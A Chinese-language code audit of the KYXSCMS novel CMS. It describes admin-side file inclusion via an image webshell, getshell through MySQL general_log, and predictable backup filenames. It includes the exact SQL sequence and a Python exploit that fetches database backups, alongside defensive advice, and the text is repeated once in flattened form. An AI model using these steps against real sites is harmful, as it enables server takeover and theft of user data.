狂雨cms代码审计:后台文件包含getshell
字数 1746 2025-08-25 22:58:28

狂雨CMS代码审计与漏洞利用分析

1. 系统概述

狂雨小说内容管理系统(KYXSCMS)是一款基于ThinkPHP5.1+MySQL技术开发的小说类网站解决方案。该系统特点包括:

  • 轻量级设计
  • 快速建站(5分钟即可建立小说网站)
  • 支持批量采集和数据联盟
  • 内置标签模板,前端友好

2. 漏洞分析

2.1 后台文件包含漏洞

漏洞原理

系统后台提供模板编辑功能,可利用ThinkPHP模板语法实现文件包含攻击。

利用步骤:

  1. 上传图片马

    • 在"设置->上传logo"处上传包含PHP代码的图片文件
    • 注意:不能使用用户头像上传功能(会进行图片缩放破坏代码)
    • 图片马内容示例:<?php phpinfo(); ?>(必须包含闭合标签?>
  2. 修改模板文件

    • 进入后台模板功能
    • 编辑index.html(主页模板)
    • 添加模板代码:{include file="uploads/config/20200325/033966a7d27975812915522464e252a3.jpg" /}
    • 注意:路径不能以/开头
  3. 触发漏洞

    • 访问网站首页即可执行图片马中的PHP代码

漏洞代码分析:

  • 入口:application/admin/controller/Template.php->edit()
  • 调用链:
    • Template.php->edit()调用File::put()
    • extend/org/File.php中的put()方法直接写入文件内容,无任何过滤

防御建议:

  1. 对上传文件内容进行检查
  2. 对图片文件进行缩放等处理破坏恶意代码
  3. 限制模板文件可包含的文件路径

2.2 SQL代码执行漏洞

漏洞原理:

后台提供SQL执行功能,可利用MySQL的general_log功能实现getshell。

利用步骤:

  1. 执行以下SQL语句序列:
set global general_log=On;
set global general_log_file="D:\\phpstudy_pro\\WWW\\123.php";
create table tmp (value varchar(25));
insert into tmp (value) values ("<?php phpinfo(); ?>");
drop table tmp;
set global general_log=Off;
  1. 访问生成的日志文件123.php即可执行PHP代码

漏洞代码分析:

  • 入口:application/admin/controller/Tool.php->sqlexecute()
  • 关键问题:
    • 直接执行用户输入的SQL语句
    • 仅过滤了SELECT语句(前6字符为"select"时不执行)

防御建议:

  1. 移除后台SQL执行功能
  2. 如必须保留,应限制只能执行SELECT查询
  3. 设置MySQL的secure_file_priv限制文件导出

2.3 后台数据泄露漏洞

漏洞原理:

数据库备份功能生成的文件名可预测,导致可爆破下载数据库备份文件。

利用步骤:

  1. 通过备份功能生成数据库备份
  2. 备份文件命名规则:时间戳-部分编号.sql.gz
    • 示例:20200325-033966-1.sql.gz
  3. 爆破文件名下载数据库备份

漏洞代码分析:

  • 入口:application/admin/controller/Database.php->export()
  • 文件生成逻辑:
    • extend/databasec/Databasec.php中的create()write()方法
    • 文件名格式:{$backuppath}{$this->file['name']}-{$this->file['part']}.sql(.gz)
    • file['name']为格式化时间(date('Ymd-His'))
    • file['part']固定从1开始

防御建议:

  1. 使用随机字符串作为文件名
  2. 将备份文件信息通过邮件或短信发送给管理员
  3. 限制备份文件目录的访问权限

3. 系统架构分析

主要目录结构:

addons/          插件代码
application/     主要后端代码
config/          配置文件
extend/          基础类文件
public/          静态文件
route/           路由
runtime/         缓存
template/        模板文件
thinkphp/        thinkphp框架
uploads/         上传文件

4. 总结与建议

发现的主要问题:

  1. 后台功能缺乏足够的安全限制
  2. 用户输入未充分过滤
  3. 敏感操作缺乏二次验证
  4. 安全设计考虑不足(如可预测的文件名)

整体安全建议:

  1. 实施最小权限原则,限制后台功能
  2. 对所有用户输入进行严格过滤
  3. 敏感操作增加验证机制
  4. 使用不可预测的随机字符串作为文件名
  5. 定期进行安全审计和代码审查

开发者注意事项:

  1. 避免在后台提供高危功能(如SQL执行)
  2. 文件操作要限制路径和权限
  3. 上传功能应进行内容检查和格式转换
  4. 错误信息不应泄露系统细节

5. 漏洞利用EXP示例

数据库备份下载EXP(Python):

#!/usr/bin/python3
# -*- coding:utf-8 -*-
import requests
import time

def getDatabase(url,username, password):
    session = requests.session()
    
    # 登录
    u = f'http://{url}/admin/index/login.html'
    head = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
    data = {'username': username, 'password': password, 'code': 1}
    session.post(u, data, headers = head)

    # 触发备份
    u = f'http://{url}/admin/database/export.html'
    data = {
        'layTableCheckbox':'on',
        'tables[0]':'ky_ad',
        # ... 其他表 ...
        'tables[18]':'ky_user_menu'
    }
    t = time.strftime("%Y%m%d-%H%M%S", time.localtime())
    session.post(u, data = data)

    # 生成备份文件路径
    return f'http://{url}/public/database/{t}-1.sql.gz'

if __name__ == '__main__':
    u = '127.0.0.1'
    username = 'admin'
    password = 'admin'
    t = getDatabase(u, username, password)
    print(t)

注意:实际使用时需要处理验证码或修改代码绕过验证。

狂雨CMS代码审计与漏洞利用分析 1. 系统概述 狂雨小说内容管理系统(KYXSCMS)是一款基于ThinkPHP5.1+MySQL技术开发的小说类网站解决方案。该系统特点包括: 轻量级设计 快速建站(5分钟即可建立小说网站) 支持批量采集和数据联盟 内置标签模板,前端友好 2. 漏洞分析 2.1 后台文件包含漏洞 漏洞原理 系统后台提供模板编辑功能,可利用ThinkPHP模板语法实现文件包含攻击。 利用步骤: 上传图片马 : 在"设置->上传logo"处上传包含PHP代码的图片文件 注意:不能使用用户头像上传功能(会进行图片缩放破坏代码) 图片马内容示例: <?php phpinfo(); ?> (必须包含闭合标签 ?> ) 修改模板文件 : 进入后台模板功能 编辑index.html(主页模板) 添加模板代码: {include file="uploads/config/20200325/033966a7d27975812915522464e252a3.jpg" /} 注意:路径不能以 / 开头 触发漏洞 : 访问网站首页即可执行图片马中的PHP代码 漏洞代码分析: 入口: application/admin/controller/Template.php->edit() 调用链: Template.php->edit() 调用 File::put() extend/org/File.php 中的 put() 方法直接写入文件内容,无任何过滤 防御建议: 对上传文件内容进行检查 对图片文件进行缩放等处理破坏恶意代码 限制模板文件可包含的文件路径 2.2 SQL代码执行漏洞 漏洞原理: 后台提供SQL执行功能,可利用MySQL的general_ log功能实现getshell。 利用步骤: 执行以下SQL语句序列: 访问生成的日志文件 123.php 即可执行PHP代码 漏洞代码分析: 入口: application/admin/controller/Tool.php->sqlexecute() 关键问题: 直接执行用户输入的SQL语句 仅过滤了SELECT语句(前6字符为"select"时不执行) 防御建议: 移除后台SQL执行功能 如必须保留,应限制只能执行SELECT查询 设置MySQL的secure_ file_ priv限制文件导出 2.3 后台数据泄露漏洞 漏洞原理: 数据库备份功能生成的文件名可预测,导致可爆破下载数据库备份文件。 利用步骤: 通过备份功能生成数据库备份 备份文件命名规则: 时间戳-部分编号.sql.gz 示例: 20200325-033966-1.sql.gz 爆破文件名下载数据库备份 漏洞代码分析: 入口: application/admin/controller/Database.php->export() 文件生成逻辑: extend/databasec/Databasec.php 中的 create() 和 write() 方法 文件名格式: {$backuppath}{$this->file['name']}-{$this->file['part']}.sql(.gz) file['name'] 为格式化时间( date('Ymd-His') ) file['part'] 固定从1开始 防御建议: 使用随机字符串作为文件名 将备份文件信息通过邮件或短信发送给管理员 限制备份文件目录的访问权限 3. 系统架构分析 主要目录结构: 4. 总结与建议 发现的主要问题: 后台功能缺乏足够的安全限制 用户输入未充分过滤 敏感操作缺乏二次验证 安全设计考虑不足(如可预测的文件名) 整体安全建议: 实施最小权限原则,限制后台功能 对所有用户输入进行严格过滤 敏感操作增加验证机制 使用不可预测的随机字符串作为文件名 定期进行安全审计和代码审查 开发者注意事项: 避免在后台提供高危功能(如SQL执行) 文件操作要限制路径和权限 上传功能应进行内容检查和格式转换 错误信息不应泄露系统细节 5. 漏洞利用EXP示例 数据库备份下载EXP(Python): 注意:实际使用时需要处理验证码或修改代码绕过验证。